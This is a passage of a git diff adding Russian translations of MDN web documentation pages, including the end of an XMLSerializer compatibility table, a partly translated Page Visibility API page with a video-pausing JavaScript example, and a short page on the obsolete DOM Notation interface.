+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0.4</td>
+  </tr>
+  <tr>
+   <td><code>serializeToStream()</code> {{ non-standard_inline() }}</td>
+   <td>{{CompatNo}}</td>
+   <td>Удалено в  {{CompatGeckoDesktop("20.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>serializeToStream()</code> {{ non-standard_inline() }}</td>
+   <td>{{CompatNo}}</td>
+   <td>Removed in {{CompatGeckoDesktop("20.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/Parsing_and_serializing_XML" title="en-US/Parsing_and_serializing_XML">Parsing and serializing XML</a></li>
+ <li><a href="/en-US/XMLHttpRequest" title="en-US/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en-US/DOMParser" title="en-US/DOMParser">DOMParser</a></li>
+</ul>
diff --git a/files/ru/web/api/видимость_страницы_api/index.html b/files/ru/web/api/видимость_страницы_api/index.html
new file mode 100644
index 0000000000..9b181e92d1
--- /dev/null
+++ b/files/ru/web/api/видимость_страницы_api/index.html
@@ -0,0 +1,195 @@
+---
+title: Видимость страницы API
+slug: Web/API/Видимость_страницы_API
+tags:
+  - API
+  - DOM
+  - Документ
+  - Показать страницу
+  - Скрыть страницу
+translation_of: Web/API/Page_Visibility_API
+---
+<div>{{DefaultAPISidebar("Page Visibility API")}}</div>
+
+<p>При переключении между вкладками, web страница переходит в фоновый режим и поэтому не видна пользователю. Page Visibility API предоставляет события, которые вы можете отслеживать, чтобы узнать, когда страница станет видимой или скрытой, а так же возможность наблюдать текущее состояние видимости страницы.</p>
+
+<div class="note">
+<p><strong>Notes:</strong> The Page Visibility API особенно полезно для сбережения ресурсов и улучшения производительности, позволяя странице остановить выполнение не нужных задач, когда она не видна.</p>
+</div>
+
+<p>Когда пользователь сворачивает окно или переключается на другую вкладку, API отправляет {{event("visibilitychange")}} событие обработчикам, что состояние страницы изменилось. Вы можете отследить это событие и выполнить какие-то действия. Например, если ваше app проигрывает видео, его можно поставить на паузу, когда пользователь переключил вкладку (страница ушла в фон), а затем возобновить видео, когда пользователь вернулся на вкладку. Пользователь не теряет место на котором остановил просмотр, звук от видео не конфликтует с аудио новой вкладки, пользователь комфортно просмотрить оба видео.</p>
+
+<p>Состояния видимости для {{HTMLElement("iframe")}} такие же как и для родительской страницы. Скрытие <code>&lt;iframe&gt;</code> используя CSS стили (такие как {{cssxref("display", "display: none;")}}) не вызывают события видимости и не изменяют состояние документа, содержащегося во фрейме.</p>
+
+<h3 id="Использование">Использование</h3>
+
+<p>Давайте рассмотрим несколько способов использования Page Visibility API.</p>
+
+<ul>
+ <li>На сайте есть слайдер изображений с автопрокрутрой, которую можно поставить на паузу, когда пользователь перешел на другую вкладку</li>
+ <li>Приложение выводит информацию в реальном времени, которую можно не обновлять, пока страница не видна, тем самым уменьшить количество запросов на сервер</li>
+ <li>Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчет количества просмотров</li>
+ <li>Сайту нужно выключить звук, когда устройство в режиме ожидания (пользователь нажал кнопку включения, чтобы погасить экран)</li>
+</ul>
+
+<p>Раньше у разработчиков были не удобные способы. Например, обработка {{event("blur")}} и {{event("focus")}} событий на объекте window - помогала узнать когда страница становилась не активной, но это не давало возможность понять когда страница действительно скрыта от пользователя. Page Visibility API решает эту проблему.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Когда {{domxref("GlobalEventHandlers.onblur", "onblur")}} и {{domxref("GlobalEventHandlers.onfocus", "onfocus")}} уведомляют, что пользователь переключил окна, это не означает, что оно действительно скрыто. Страница действительно скрыта, когда пользователь переключил вкладки или свернул окно браузера с этой вкладкой.</p>
+</div>
+
+<h3 id="Policies_in_place_to_aid_background_page_performance">Policies in place to aid background page performance</h3>
+
+<p>Separately from the Page Visibility API, user agents typically have a number of policies in place to mitigate the performance impact of background or hidden tabs. These may include:</p>
+
+<ul>
+ <li>Most browsers stop sending {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} callbacks to background tabs or hidden {{ HTMLElement("iframe") }}s in order to improve performance and battery life.</li>
+ <li>Timers such as {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} are throttled in background/inactive tabs to help improve performance. See <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">Reasons for delays longer than specified</a> for more details.</li>
+ <li>Budget-based background timeout throttling is now available in modern browsers (Firefox 58+, Chrome 57+), placing an additional limit on background timer CPU usage. This operates in a similar way across modern browsers, with the details being as follows:
+  <ul>
+   <li>In Firefox, windows in background tabs each have their own time budget in milliseconds — a max and a min value of +50 ms and -150 ms, respectively. Chrome is very similar except that the budget is specified in seconds.</li>
+   <li>Windows are subjected to throttling after 30 seconds, with the same throttling delay rules as specified for window timers (again, see <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">Reasons for delays longer than specified</a>). In Chrome, this value is 10 seconds.</li>
+   <li>Timer tasks are only permitted when the budget is non-negative.</li>
+   <li>Once a timer's code has finished running, the duration of time it took to execute is subtracted from its window's timeout budget.</li>
+   <li>The budget regenerates at a rate of 10 ms per second, in both Firefox and Chrome.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Some processes are exempt from this throttling behavior. In these cases, you can use the Page Visibility API to reduce the tabs' performance impact while they're hidden.</p>
+
+<ul>
+ <li>Tabs which are playing audio are considered foreground and aren’t throttled.</li>
+ <li>Tabs running code that's using real-time network connections (<a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a> and <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>) go unthrottled in order to avoid closing these connections timing out and getting unexpectedly closed.</li>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> processes are also left unthrottled in order to avoid timeouts.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<p>View <a href="http://daniemon.com/tech/webapps/page-visibility/">live example</a> (video with sound).</p>
+
+<p>The example, which pauses the video when you switch to another tab and plays again when you return to its tab, was created with the following code:</p>
+
+<pre class="brush: js notranslate">// Set the name of the hidden property and the change event for visibility
+var hidden, visibilityChange;
+if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+  hidden = "hidden";
+  visibilityChange = "visibilitychange";
+} else if (typeof document.msHidden !== "undefined") {
+  hidden = "msHidden";
+  visibilityChange = "msvisibilitychange";
+} else if (typeof document.webkitHidden !== "undefined") {
+  hidden = "webkitHidden";
+  visibilityChange = "webkitvisibilitychange";
+}
+
+var videoElement = document.getElementById("videoElement");
+
+// If the page is hidden, pause the video;
+// if the page is shown, play the video
+function handleVisibilityChange() {
+  if (document[hidden]) {
+    videoElement.pause();
+  } else {
+    videoElement.play();
+  }
+}
+
+// Warn if the browser doesn't support addEventListener or the Page Visibility API
+if (typeof document.addEventListener === "undefined" || hidden === undefined) {
+  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+} else {
+  // Handle page visibility change
+  document.addEventListener(visibilityChange, handleVisibilityChange, false);
+
+  // When the video pauses, set the title.
+  // This shows the paused
+  videoElement.addEventListener("pause", function(){
+    document.title = 'Paused';
+  }, false);
+
+  // When the video plays, set the title.
+  videoElement.addEventListener("play", function(){
+    document.title = 'Playing';
+  }, false);
+
+}
+</pre>
+
+<h2 id="Properties_added_to_the_Document_interface">Properties added to the Document interface</h2>
+
+<p>The Page Visibility API adds the following properties to the {{domxref("Document")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("Document.hidden")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns <code>true</code> if the page is in a state considered to be hidden to the user, and <code>false</code> otherwise.</dd>
+ <dt>{{domxref("Document.visibilityState")}} {{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} indicating the document's current visibility state. Possible values are:
+ <dl>
+  <dt><code>visible</code></dt>
+  <dd>The page content may be at least partially visible. In practice this means that the page is the foreground tab of a non-minimized window.</dd>
+  <dt><code>hidden</code></dt>
+  <dd>The page's content is not visible to the user, either due to the document's tab being in the background or part of a window that is minimized, or because the device's screen is off.</dd>
+  <dt><code>prerender</code></dt>
+  <dd>The page's content is being prerendered and is not visible to the user. A document may start in the <code>prerender</code> state, but will never switch to this state from any other state, since a document can only prerender once.
+  <div class="note"><strong>Note:</strong> Not all browsers support prerendering.</div>
+  </dd>
+  <dt><code>unloaded</code></dt>
+  <dd>The page is in the process of being unloaded from memory.
+  <div class="note"><strong>Note:</strong> Not all browsers support the <code>unloaded</code> value.</div>
+  </dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("Document.onvisibilitychange")}}</dt>
+ <dd>An {{domxref("EventListener")}} providing the code to be called when the {{event("visibilitychange")}} event is fired.</dd>
+</dl>
+
+<pre class="brush: js notranslate">//startSimulation and pauseSimulation defined elsewhere
+function handleVisibilityChange() {
+  if (document.hidden) {
+    pauseSimulation();
+  } else  {
+    startSimulation();
+  }
+}
+
+document.addEventListener("visibilitychange", handleVisibilityChange, false);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Page Visibility API')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="Document.visibilityState"><code>Document.visibilityState</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Document.visibilityState")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Description of the <a href="http://blogs.msdn.com/b/ie/archive/2011/07/08/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-2.aspx" title="Page Visibility on IEBlog">Page Visibility API</a> on the IEBlog.</li>
+ <li>Description of the <a href="http://code.google.com/chrome/whitepapers/pagevisibility.html" title="Page Visibility API by Google">Page Visibility API</a> by Google</li>
+</ul>
diff --git a/files/ru/web/api/нотация/index.html b/files/ru/web/api/нотация/index.html
new file mode 100644
index 0000000000..a1f468a55d
--- /dev/null
+++ b/files/ru/web/api/нотация/index.html
@@ -0,0 +1,52 @@
+---
+title: Нотация
+slug: Web/API/Нотация
+tags:
+  - Нотация
+translation_of: Web/API/Notation
+---
+<div>{{APIRef("DOM")}}{{draft}}{{obsolete_header}}</div>
+
+<p>Представляет нотацию DTD (только для чтения). Может объявлять формат неразобранного объекта или формально объявлять цели инструкции по обработке документа. Наследует методы и свойства от <a class="internal" href="/En/DOM/Node" title="En/DOM/Node"><code>Node</code></a>. Его <code><a class="internal" href="/En/DOM/Node/NodeName" title="En/DOM/Node/NodeName">nodeName</a></code> - это имя нотации. Не имеет родителя.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Notation.publicId")}} {{ReadOnlyInline}}</dt>
+ <dd>Это {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("Notation.systemId")}} {{ReadOnlyInline}}</dt>
+ <dd>Это {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-5431D1B9", "Notation")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-5431D1B9", "Notation")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-5431D1B9', 'Notation')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Notation")}}</p>